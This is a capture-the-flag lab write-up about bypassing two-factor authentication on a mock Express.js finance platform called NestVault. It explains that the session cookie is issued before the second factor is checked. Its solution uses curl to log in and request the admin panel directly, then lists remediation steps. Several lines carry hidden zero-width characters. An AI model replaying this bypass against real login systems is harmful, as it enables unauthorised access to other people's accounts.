Lab 215 — NestVault — 2FA Bypass via Incomplete Session Verification

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: 2fa_flow_bypass, authentication_bypass, incomplete_session_verification, session_cookie_abuse

Summary

Task: Express.js financial platform with 2FA-protected admin account, credentials provided. Solution: Session cookie is issued after password verification but before 2FA completion; bypassed 2FA by directly accessing protected routes with the pre-2FA session cookie.

Lab 215 — NestVault — Hackadvisor

Description

NestVault Financial is a personal finance platform offering savings accounts, payment transfers, and investment tracking. The platform features multi-factor authentication to protect user accounts.

Your goal is to access the admin panel and retrieve the secret system configuration flag. You have been provided with admin login credentials: admin@nestvault.com / SecureAdmin2024! — but the account has two-factor authentication enabled. Find a way to get past the security controls. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Express.js web application with session-based authentication and 2FA. Admin credentials are provided but 2FA is enabled. Goal is to bypass 2FA and access the admin panel to retrieve the flag.

Analysis

The application implements a flawed two-factor authentication flow:

1. Login endpoint (/login) validates username/password
2. On successful password verification, server issues a connect.sid session cookie
3. Server redirects to /verify-2fa for the second factor
4. Critical flaw: The session is already marked as authenticated after step 2 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability exists because:

• Session creation happens BEFORE 2FA completion
• The 2FA pending status is only checked when accessing /verify-2fa
• Other protected routes (/dashboard, /admin/panel, etc.) don't verify that 2FA was completed
• They only check if a valid session exists

This is a classic example of incomplete session verification — the authentication state machine doesn't properly enforce that ALL authentication steps must complete before granting access.

Solution

Step 1: Submit admin credentials and capture session cookie

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
URL="https://476a1fd6-ec3b-4eb3-83e7-1f32f7197af6.labs.hackadvisor.io"

curl -v -c cookies.txt -X POST "$URL/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin@nestvault.com&password=SecureAdmin2024!"

Response:

• HTTP 302 redirect to /verify-2fa
• Set-Cookie: connect.sid=... — session cookie issued BEFORE 2FA

Step 2: Bypass 2FA by directly accessing protected routes

Instead of following the redirect to /verify-2fa, use the session cookie to access the dashboard directly: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "$URL/dashboard"

Successfully accessed dashboard as "System Administrator". Found Admin Panel link at /admin/panel.

Step 3: Access admin panel and retrieve flag

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "$URL/admin/panel"

Found flag in "System Configuration" section under secret_flag parameter.

Remediation

Proper 2FA implementation should:

1. NOT create an authenticated session until ALL factors are verified
2. Use a separate "pending 2FA" session state that grants no access
3. Check 2FA completion status on EVERY protected route
4. Implement server-side flow control, not just redirects ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍